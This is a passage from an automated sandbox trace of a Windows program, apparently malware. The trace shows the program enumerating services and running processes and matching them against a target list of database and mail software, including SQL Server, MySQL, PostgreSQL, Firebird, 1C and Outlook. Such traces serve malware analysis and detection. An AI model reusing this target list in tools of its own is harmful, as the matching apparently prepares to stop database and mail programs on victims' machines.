[0056.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.402] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.402] lstrlenW (lpString="eventlog") returned 8 [0056.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.402] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.402] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.402] lstrlenW (lpString="EventSystem") returned 11 [0056.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.402] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.402] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.402] lstrlenW (lpString="gpsvc") returned 5 [0056.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.402] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.402] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.402] lstrlenW (lpString="iphlpsvc") returned 8 [0056.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.403] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.403] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.403] lstrlenW (lpString="LanmanServer") returned 12 [0056.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.403] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.403] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.403] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.403] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.403] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.403] lstrlenW (lpString="lmhosts") returned 7 [0056.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.403] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.403] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.403] lstrlenW (lpString="MMCSS") returned 5 [0056.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.403] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.403] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.403] lstrlenW (lpString="MpsSvc") returned 6 [0056.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.403] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.403] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.404] lstrlenW (lpString="Netman") returned 6 [0056.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.404] lstrlenW (lpString="netprofm") returned 8 [0056.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.404] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.404] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.404] lstrlenW (lpString="NlaSvc") returned 6 [0056.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.404] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.404] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.404] lstrlenW (lpString="nsi") returned 3 [0056.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.404] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.404] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.404] lstrlenW (lpString="PcaSvc") returned 6 [0056.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.404] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.404] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.404] lstrlenW (lpString="PlugPlay") returned 8 [0056.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.404] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.404] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.405] lstrlenW (lpString="Power") returned 5 [0056.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.405] lstrlenW (lpString="ProfSvc") returned 7 [0056.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.405] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.405] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.405] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.405] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.405] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.405] lstrlenW (lpString="RpcSs") returned 5 [0056.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.405] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.405] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.405] lstrlenW (lpString="SamSs") returned 5 [0056.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.405] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.405] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.405] lstrlenW (lpString="Schedule") returned 8 [0056.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.406] lstrlenW (lpString="SENS") returned 4 [0056.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.406] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.406] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.406] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.406] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.406] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.406] lstrlenW (lpString="Spooler") returned 7 [0056.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.406] lstrlenW (lpString="swprv") returned 5 [0056.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.406] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.406] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.406] lstrlenW (lpString="SysMain") returned 7 [0056.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.406] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.406] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.406] lstrlenW (lpString="Themes") returned 6 [0056.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.407] lstrlenW (lpString="TrkWks") returned 6 [0056.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.407] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.407] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.407] lstrlenW (lpString="UxSms") returned 5 [0056.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.407] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.407] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.407] lstrlenW (lpString="VSS") returned 3 [0056.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.407] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.407] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0056.407] lstrlenW (lpString="WdiServiceHost") returned 14 [0056.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.407] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0056.407] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0056.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0056.407] lstrlenW (lpString="WdiSystemHost") returned 13 [0056.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.407] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0056.407] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0056.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0056.407] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0056.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.408] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0056.408] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0056.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0056.408] lstrlenW (lpString="Winmgmt") returned 7 [0056.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0056.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0056.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0056.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0056.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0056.408] lstrlenW (lpString="WPDBusEnum") returned 10 [0056.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.408] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0056.408] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0056.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0056.408] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0056.408] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0056.410] Process32FirstW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.411] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.411] lstrlenW (lpString="System") returned 6 [0056.411] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0056.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0056.411] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0056.411] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0056.411] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0056.411] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0056.411] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0056.411] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.412] lstrlenW (lpString="smss.exe") returned 8 [0056.412] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0056.412] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0056.412] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0056.412] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0056.412] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0056.412] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0056.412] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0056.412] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.413] lstrlenW (lpString="csrss.exe") returned 9 [0056.413] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0056.413] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0056.413] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0056.413] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0056.413] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0056.413] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0056.413] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0056.413] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.413] lstrlenW (lpString="wininit.exe") returned 11 [0056.413] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0056.413] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0056.413] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0056.413] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.414] lstrlenW (lpString="csrss.exe") returned 9 [0056.414] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.414] lstrlenW (lpString="winlogon.exe") returned 12 [0056.414] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.415] lstrlenW (lpString="services.exe") returned 12 [0056.415] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.415] lstrlenW (lpString="lsass.exe") returned 9 [0056.415] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.416] lstrlenW (lpString="lsm.exe") returned 7 [0056.416] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.416] lstrlenW (lpString="svchost.exe") returned 11 [0056.416] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.417] lstrlenW (lpString="svchost.exe") returned 11 [0056.417] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.417] lstrlenW (lpString="svchost.exe") returned 11 [0056.417] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.418] lstrlenW (lpString="svchost.exe") returned 11 [0056.418] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.418] lstrlenW (lpString="svchost.exe") returned 11 [0056.418] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.419] lstrlenW (lpString="audiodg.exe") returned 11 [0056.419] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.419] lstrlenW (lpString="svchost.exe") returned 11 [0056.419] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.420] lstrlenW (lpString="svchost.exe") returned 11 [0056.420] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.420] lstrlenW (lpString="dwm.exe") returned 7 [0056.420] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.421] lstrlenW (lpString="explorer.exe") returned 12 [0056.421] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.421] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.421] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: 